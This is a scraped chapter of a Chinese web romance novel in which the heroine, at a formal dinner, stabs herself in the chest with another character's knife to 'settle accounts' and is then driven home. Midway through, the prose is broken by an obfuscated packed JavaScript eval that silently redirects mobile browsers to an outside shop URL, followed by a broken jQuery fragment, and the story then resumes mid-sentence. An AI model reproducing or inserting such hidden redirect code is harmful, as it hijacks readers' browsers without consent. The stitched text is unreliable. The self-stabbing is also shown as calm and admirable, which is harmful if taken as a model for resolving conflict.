文趣网 > 都市小说 > 今天黄总包/养人了没? > 28. 以血止血
    黄晶的目光扫过桌子中间的面包篮,掰了一小块法式乡村面包,用刀背蘸了点无花果酱,又切了一小片鹅肝放在上面。咬了一口,嚼了嚼,眉头松开了。

    这样确实好吃些——面包的韧劲中和了鹅肝的油脂感,无花果酱的酸甜刚好托住了整体。她又依法操作了一块,然后抬眼,朝裴砚的方向微微点头,算是感谢。

    裴砚正在切自己盘子里那份几乎没怎么动的鹅肝,看到那个点头,刀叉的动作停了一下,然后也微微点了一下头,幅度很小,像是只是在调整坐姿。他低下头,继续切那盘已经快被他切成解剖标本的鹅肝。

    前菜撤下,汤品上来。龙虾浓汤盛在浅口白瓷碗里,表面浮着一层薄薄的虾油,橙红色的汤底在烛光下微微泛光。侍者依次从左侧上汤,动作整齐得像排练过。

    苏衍之用汤匙舀起一勺,低头闻了闻,然后放下。他对这道汤兴趣不大,但他对接下来会发生什么很感兴趣。他的目光越过桌上的烛台和花艺,落在对面正低头喝汤的黄晶身上,像是在看一道还没上桌的主菜。

    黄晶喝汤的方式很认真——先用汤匙沿着碗边轻轻舀一勺,吹两下,尝温度,然后慢慢喝完。龙虾肉丁混在浓汤里,她捞到一块,嚼了嚼,觉得比鹅肝好接受多了。

    黄晶喝汤的时候不怎么抬头,但她能感觉到有几道目光一直落在她身上。她没有回看,只是用面包蘸干净碗底最后一点汤,然后把面包吃掉。光盘行动,她说到做到。

    汤品撤下,主菜上桌。侍者端着托盘依次报菜名——烤羊排配迷迭香红酒汁,煎牛排配黑松露黄油,烤帝王蟹腿配柠檬蒜香黄油。每报一道,银质托盘盖同步掀开,热气腾起。

    苏衍之点了羊排,靳司点了牛排三分熟,白时叙和叶行舟各自选了牛排配不同酱汁,慕容修点了帝王蟹腿,他姐姐慕容兰点了羊排。

    白若瑶本来也点了牛排,但上菜时发现自己那盘比白时叙的大了一圈,她看了看自己的,又看了看哥哥的,悄悄把两盘换了一下。白时叙低头看着自己面前突然多出来的大份牛排,嘴角动了动,什么也没说,拿起刀叉开始切。

    黄晶点的是牛排,五分熟。她本来想点七分,但菜单上推荐是五分,她就从了。牛排煎得刚好,刀切下去肉汁渗出来,混着黑松露黄油的香气。

    黄晶切了一小块放进嘴里,嚼了嚼,然后拿起胡椒瓶,又多撒了点黑胡椒。她吃东西的时候眉头微微皱着,像是在做一道需要认真对待的考题。

    裴砚点了羊排——刚才看到菜单时,发现她在牛排和羊排之间犹豫了很久,最后选了牛排。所以他点了羊排,这样如果她想尝一口,可以分给她。

    羊排煎得刚好,迷迭香红酒汁在盘边画出半圈暗红。裴砚把羊排切成小块,每一块都大小一致。但黄晶的目光一直专注在自己那盘牛排上,偶尔抬头也只是去拿盐罐,始终没有看向他的盘子。他切好的羊排一块也没送出去,都自己吃了。

    霍云峥点了帝王蟹腿,正用钳子夹开蟹壳。他看到裴砚盯着自己盘子里那些切得过于整齐的羊排看了好几秒,然后把蟹腿肉挑出来,蘸了蘸黄油,什么也没说,继续吃。

    主菜吃到一半,侍者开始倒第二轮酒。红酒瓶沿着长桌依次倾斜,深红色液体注入杯中,在烛光下微微晃荡。

    话题开始松散起来——白若瑶和慕容兰隔着几个座位聊起最近三里屯新开的那家买手店,说某款设计师耳环很适合慕容兰上个月穿过的那件墨绿旗袍;叶行舟正和靳司聊一个跨境并购案的最新进展,语气很轻,只偶尔在关键数字上放慢语速;白时叙偶尔插一句关于估值模型的看法,他用词极简,每一句都刚好落在讨论的缝隙里。

    而苏衍之靠在椅背上,手里转着红酒杯,目光越过烛光,落在正低头切牛排的黄晶身上,似乎在等她下一步会有什么动作。

    黄晶没有下一步动作,她正在研究牛排配黑松露黄油的成分,想着这个能不能复刻在炒面上。今晚的菜虽然份量不大,但一道一道吃下来也渐渐饱了。她把手里的最后一口牛排吃掉,用餐巾擦了擦嘴角,然后端起水杯喝了一口,心想法餐果然中看不中吃。

    甜品车推过来时,黄晶正用餐巾擦手指上沾的面包屑,看到侍者掀开银盖露出整排的小份甜品,眼睛亮了一下,总算等到了!

    之前苏衍之说这家熔岩蛋糕不错,她决定给这个推荐一个面子,指了指那份还在微微晃动的熔岩蛋糕:“这个!”

    苏衍之靠在椅背上,嘴角微动——她还记得他提过。

    甜品上桌,熔岩蛋糕的巧克力外层烤得微脆,餐叉戳下去,内馅缓缓流出来,混着旁边那球香草冰淇淋,冷热交替,口感十分不赖。

    黄晶吃了一口,默默在心里给这家店加了分——法餐吃不饱,但甜品可以。

    其他甜品也在长桌上流转开来,水果挞上的蓝莓堆得整整齐齐,焦糖布丁表面的焦糖被敲碎时发出轻微的脆响,提拉米苏的可可粉在叉尖留下细细的纹路……

    有人开始聊意大利菜和西班牙菜哪个更适合办私人派对,有人低头专心对付焦糖布丁上那层硬壳,有人把侍者叫来续了今晚的第三杯咖啡。

    裴砚把面前那杯没怎么动的熔岩蛋糕往桌子中间推了半寸,觉得她可能会想再要一份。但她没有。

    黄晶正用勺背把盘底最后一抹巧克力酱刮干净,吃得很认真,像是在完成一项任务——粒粒皆辛苦,甜品也不能例外。

    “你叫什么名字?”

    霍云峥刚把甜品叉搁在盘子边缘,手指还搭在叉柄上,听到这句话,抬眼看向对面。

    黄晶正看着他,手里还端着那杯没喝完的水,语气和问路差不多——平淡,直接,不带任何多余的信息。

    霍云峥没有立刻回答。他把叉子往盘子旁边挪了半寸,像是要给自己的手找个合适的位置。然后他开口:“霍云峥。”顿了顿,又补了一句,“没人告诉过我,这顿饭还要自我介绍。”

    黄晶的眉头微微皱了一下。她放下水杯,看着他:“你可以选择不说。我没有拿刀架在你脖子上。”

    她问名字,他可以选择回答,也可以选择不回答,那是他的自由。但她不会接受任何人在回答的同时附加一层“你这个问题不该问”的暗示,她没有求他,她只是在问。

    霍云峥靠在椅背上,手指间那只打火机不知什么时候停了。他看着黄晶,发现自己刚才那句话确实带着某种惯性——在圈子里待久了,习惯性地把任何直接的问题都当成需要防御的试探。

    他点了点头,幅度很小,但很清晰:“说得对。刚才的话,收回。”他纠正了自己,这对霍云峥来说,已经是极少见的让步。

    黄晶看着他,眉头松开,“如果你想道歉,可以选择开车送我回去,省得我打车了。”

    霍云峥看着她,沉默了两秒。“可以。”

    “那你吃完了吗?吃完了我们可以走了。”

    霍云峥把餐巾从腿上拿起来,折好,放在桌上。他面前的茶已经凉了,打火机被他从左手换到右手,又换回来,最后稳稳地收进裤袋里。

    他站起来,拿起搭在椅背上的外套。霍云峥没说话,只是用目光示意自己准备好了,然后站在桌旁等黄晶先走。

    黄晶把手机塞进斜挎包,椅子往后推了半寸,起身时顺手把餐巾搭在桌角。她转向主位,朝苏衍之微微点头:“感谢你的邀请。我先走了。”语气得体,姿态从容,像是离开一场普通的商务晚宴,没有多余的情绪,也没有任何留恋。

    苏衍之靠在椅背上,手里还端着那杯没喝完的红酒,朝她举了举杯,算是送别。他没挽留,今晚这场戏已经超出他的预期太多,他需要时间复盘。

    就在这时,角落里传来椅子腿在地板上刮出一道突兀的钝响。

    上官越站起来,穿黑色连帽衫,帽子没戴,但手插在口袋里,指节在口袋里攥着那把成人礼匕首的刀柄,攥得发白。

    他从开席到现在一句话都没说,全程看着黄晶打飞靳司的烟、掷刀入杯、用生蚝壮阳的话题将苏衍之逼退,每一幕都像在重播云顶那晚的画面——她也是这样,面对刀锋不躲不退,问他想杀谁。

    他今晚本来是想来讨答案的,但坐了一整晚,看了她一整晚,上官越发现自己的问题已经变了。

    “等一下。”声音不大,但整个包厢都安静了。魏追野下意识伸手去拉上官越袖子,却被他挣开。

    黄晶停下脚步,转身。她微微皱眉,烛光在她脸上跳跃,那张年轻面孔在记忆里快速检索——云顶,走廊,刀,血。然后她认出来了,“是你!”

    黄晶步伐略微加快,走向他,在他面前一臂距离站定。这个距离很近,近到上官越能看清她左脸颊上那道已经淡到几乎看不见的疤痕——那是他的刀留下的。

    上官越下意识想往后退,但脚钉在原地,没有动。

    “那天那次是我不对,误闯后害你受伤了,对不起。”黄晶看着上官越的眼睛,语气平静地陈述一件她早就想做的事。

    说完之后,黄晶的目光从他脸上移到他空空的双手上,又问了一句:“你刀带了吗?”

    上官越愣住了。他预想过很多种今晚见到她的场景——她可能会骂他,可能会无视他,可能会用那种冷淡的语气说“没关系”然后转身走开。但他没想到她会先道歉。

    他在禁足的这两周里反复想过那晚的每一个细节,想过她的眼神、她的声音、她面对刀刃时往前走的那一步。他以为那是挑衅,后来才明白那是她根本不在乎他的威胁。而现在她站在他面前,把他在那场意外里承担的那份责任也一并还给了他。

    上官越把刀从口袋里掏出来。动作很慢,刀柄朝向她,刀刃朝向自己——和那晚完全相反的方向。

    “带了。”他的声音有点哑,手指握在刀柄上停了几秒,然后松开,把刀放在桌上,往她的方向推了半寸。这把刀是他十八岁的成人礼,他攒钱自己买的,刀柄上刻着他名字的缩写。

    黄晶低头看着桌上那把刀。烛光在刀刃上跳动,刀刃重新磨过,干净锋利,没有一丝锈迹。

    她看了两秒,然后伸手握住刀柄,动作干脆利落,没有一丝犹豫。

    “黄晶——!”裴砚的声音从斜对面传来,椅子腿在地板上刮出一声刺耳的尖啸。他已经站起来,但隔着一整张长桌,来不及。

    霍云峥的手抬起来,离她的手腕只差半步距离,但黄晶的动作太快,刀尖已经没入胸口。

    黄晶的眉头皱了一下——极短,像是被烫到。但她没有发出任何声音。

    整个包厢瞬间凝固。

    白若瑶的叉子从指尖滑落,在瓷盘上撞出一声脆响,她双手捂住嘴。慕容修的椅子往后一滑,他整个人半站起来,膝盖撞上桌沿也浑然不觉。

    上官越离黄晶最近,他看到她握刀的手没有丝毫颤抖,看到她胸口衣料被刀刃刺穿的瞬间——和他那晚在云顶捅进自己心脏的位置一样,分毫不差。

    上官越的瞳孔骤缩,下意识想伸手去夺刀,但手抬到一半就僵在半空中。

    他做不到。他做不到像她那么稳,那么毫不犹豫,那么不把自己的命当回事。

    刀拔出来时发出一声极轻的闷响,刀尖上滴着血,在烛光里红得刺眼。

    黄晶低头看一眼刀刃上的血迹,随手扯起浅紫色衬衫的下摆,用衣料把刀刃擦干净,动作自然得像是在擦一把刚用完的水果刀。

    刀刃擦净后,她伸手,手掌摊开——刀稳稳平放在她手心,横在两人之间。

    黄晶看着上官越的眼睛:“两清了,你说呢?”

    上官越低头看着那把刀。他深吸一口气,声音有点哑,但很稳:“两清了。”

    他说完伸出手,从她掌心拿起那把刀——手指避开刀刃,握住刀柄,然后将刀刃朝向自己,刀柄朝外,放回桌上。

    上官越对黄晶鞠了一躬,说:“谢谢。”然后直起身,环顾四周,看向那些从始至终都在看戏的人,声音不大但很清楚,“今晚的事,谁要是传出去,我上官越第一个找他!”

    包厢里没有人说话。

    裴砚还站在原位,椅子腿早已在地板上蹭偏了方向。他看着那滴从刀尖滑落的血,看着上官越接过刀,看着她胸口洇开的血迹,然后缓缓坐回椅子上。手指在杯沿上轻轻一敲,又停住,呼吸听起来很克制,像是有人在教他怎么做深呼吸。

    靳司端起茶杯,目光在黄晶胸口那片血迹上停了一瞬,然后移开。苏衍之靠在椅背上,手指在桌沿轻轻敲了两下,表情和刚才评估生蚝功效时完全不同。

    霍云峥收回了停在半空的手,他低头看着她胸口洇开的血迹,没有说话,只是把手边那块还没用过的餐巾轻轻推到她手腕旁边,纸巾是纯棉的,吸水性好。

    黄晶没有去拿那块餐巾。她看着霍云峥,声音比刚才轻了一点,但语气依然平稳:“我们走吧。”

    说完她转身朝门口走去,帆布鞋踩在地毯上,每一步都踏在烛光与阴影的交界处。胸口那片血迹在浅紫色衬衫上洇开,颜色比刚才更深了一些,但她的脊背挺得笔直,和进门时一模一样。

    霍云峥看着她。脸色有点白,步伐还算稳,语气和刚才说“吃完了吗”时一样平淡,好像胸口那片洇开的血迹只是不小心洒了红酒。

    路过裴砚身边时,霍云峥的脚步顿了一下,像是在等裴砚说什么。

    裴砚坐在原位,手指在杯沿上停着。他看着黄晶胸口那片血迹,看着她微微发白的嘴唇,看着她呼吸时胸口的起伏比平时浅。

    裴砚的喉结动了一下,然后他站起来,像是终于想清楚了什么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634941|206530||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。但他没有开口,只是看着霍云峥。

    霍云峥对他微微点了下头。那个点头很短,但意思很明确:我会把她安全送到。

    裴砚收回目光,重新坐下。他没有做任何事,但他放在桌上的那只手,指节微微泛白。

    霍云峥拉开后座车门,黄晶坐进去的动作比平时慢了好几拍,像是在水下移动。车门关上的声音在安静的地库里格外沉闷。她报了句“八角”,声音很轻,霍云峥从后视镜里看了她一眼,没有多问,发动了车。

    车驶出地库,亮马河的灯光在后视镜里迅速缩小成一个光点。车厢里很安静,只有转向灯滴答滴答的声音。黄晶靠在座椅上,闭着眼,左手捂着胸口,呼吸很浅。

    刚才在包厢里还能站得笔直,还能用平稳的语气说“我们走吧”,还能一步一步穿过整张长桌和所有人的目光。现在那些撑着她的东西都撤掉了,肾上腺素退潮,疼痛像迟到的账单一样精准地找上门来。

    黄晶整张脸皱在一起,嘴唇抿成一条线,额角渗出一层细密的冷汗。刚才那一刀扎下去的时候她没躲,但刀尖刺入的角度偏了——加厚的内衣垫子挡了一下,刀尖没有刺到要害。但毕竟是刀刃,扎进去再拔出来,疼是真的疼。

    霍云峥从后视镜里看到她捂着胸口的手指在微微发抖。她没有出声,但他能看到她咬紧牙关时脸颊肌肉的细微颤动。“医院离这不远。”

    “不去。”

    霍云峥没有再说第二遍。他把车停在路边,从后备箱拿出一个急救包——灰色,硬壳,打开里面东西很全,是专业级别的创伤处理装备。他挑出几样,递给她:“云南白药、止血粉、无菌敷贴。”

    霍云峥顿了顿,又补了句,“车上常备的。你自己处理,还是我来?”他说完把车门拉开半扇,像是在说“如果你自己来,我给你留出空间”。

    黄晶睁开眼睛,右手接过急救包,语气里带了一丝忍不住的催促:“你开快点送我回去,这才是真急救!”她把急救包搁在腿上,没有打开。

    霍云峥从后视镜里看了她一眼——她的脸色比刚才更白了,额角的冷汗还没消,捂着胸口的手在微微发抖,但她的眼睛很亮,人也是清醒的。

    霍云峥收回目光,把车速提了上去,四环路的路灯一盏接一盏从他侧脸掠过,转向灯滴答滴答,他连超了三辆车,方向盘在他手里稳得像在开巡航。

    黄晶靠在后座上,闭着眼,手掌轻轻压着胸口。急救包放在她腿上,包装完好,随时可以拆。

    她不是逞强,只是觉得在陌生男人车后座上掀开衬衫处理胸口伤口不太合适——而且比起止血粉,她现在更急需的是回到那间朝南的屋子里,换上睡衣,把伤口清理干净,然后吃一颗止痛药!

    黄晶睁开眼,从后视镜里看到霍云峥正专注地开着车。车速很快,但很稳。她轻轻呼了口气,又重新闭上了眼睛。

    车停在单元楼门口,车灯在夜色中划出两道光柱。黄晶推开车门,下车时膝盖几乎软了一下,手指死死扣住车门边框才稳住身体。

    她站直,拿起座位上的急救包,声音很轻,但还是那种淡而直接的语气:“急救包我拿走了,车门你自己关吧。”说完黄晶转身朝单元楼走去,没有回头。

    霍云峥坐在驾驶座上,看着她的背影消失在单元门里。门禁的电子锁发出嗡鸣,声控灯一层一层亮起,又一层一层熄灭。

    他下了车,绕到后座,把车门关上。动作很轻,像是在帮一个已经离开的客人收拾座位。

    霍云峥没急着走,靠在车门上,拿出打火机,放在指尖转了半圈,忽然意识到自己忘了问她有没有止痛药?也忘了问她伤口深不深、需不需要缝针?

    但问了,她大概也只会说“不用”,语气和刚才说“车门你自己关吧”一模一样。

    霍云峥把打火机放回口袋,坐回驾驶座,发动车,往亮马桥方向开去。后视镜里那栋灰色的单元楼渐渐变远,变成夜色里一个模糊的轮廓。

    霍云峥推门进去时,包厢里安静得不太正常。长桌上甜品已经被撤下,但几乎没有人离开。

    白若瑶正低声跟慕容兰说着什么,慕容兰微微皱着眉,偶尔点头;叶行舟靠在椅背上,手指无意识地转着空酒杯;白时叙和慕容修各自沉默;皇甫子逸面前那杯咖啡已经凉透了。

    裴砚还坐在原位,面前那杯水早就凉了。上官越一个人坐在角落,那把刀还放在桌上,他低头看着刀刃上早已被擦净的血迹,偶尔用手指轻轻碰一下刀柄上的缩写,像是在确认什么。

    霍云峥扫了一圈,走到自己原来的位置旁边,拉开椅子,但没有坐下。他的声音不大,刚好够整个包厢听见:“人送到了。”

    上官越第一个抬起头,手指从刀柄上移开,像是怕自己握着刀问出这句话不太合适。他看着霍云峥,犹豫了一下:“她……没事吧?”

    霍云峥看着他,“她拿了急救包。”顿了顿,又补了句,“自己走上去的。”

    这两句话都不是直接回答,但上官越听完,低头看着那把刀,沉默了很久,然后拿起那把刀,动作很慢,像是完成了一个仪式。

    苏衍之靠在椅背上,手里还端着那杯没喝完的红酒。他看着霍云峥,忽然问:“急救包是你的?”

    霍云峥点头,“车上常备的。”

    苏衍之端起酒杯抿了一口,“下次我也备一个。”语气像是被人安利了某个新出的理财产品。

    霍云峥看了他一眼,没有接话。

    靳司从头到尾没有开口,只是端着他的茶,看着杯沿上那道极细的裂纹——大概是刚才被餐刀碰到时震出来的。他沉默着,把这杯凉透的茶喝完,然后站起来说了句“走了”。经过霍云峥身边时脚步微不可察地停了一下,什么也没说,也不需要说。

    上官越跟着站起来,把刀收进口袋,拉好连帽衫,安静地跟在靳司身后走了。

    苏衍之也站起来,披上外套,对霍云峥说了句:“今晚辛苦你了。”尾音拖得意味深长。

    苏衍之说完往门口走,路过黄晶坐过的位置时脚步没停,但目光落在那把被她用来打飞烟、又被侍者擦干净重新摆好的银质餐刀上,停留了几秒。然后他走了。

    最后只剩下裴砚。他还坐在原来的位置,面前那杯水从头到尾没有续过。他低下头,把桌上的餐巾折好。然后他站起来,拿起车钥匙,路过霍云峥身边时停了一下。

    两人对视了一瞬。裴砚没有说话,霍云峥也没有。然后裴砚走了。

    霍云峥最后一个离开包厢时,看到地毯上那道极浅的焦痕,旁边还散着几粒烟灰。今晚这场局,每个人身上都留下了点什么。

    有的人留下了刀,有的人留下了急救包,有的人只是在杯沿上多了一道裂纹。而那个本该是主角的人,已经回八角了。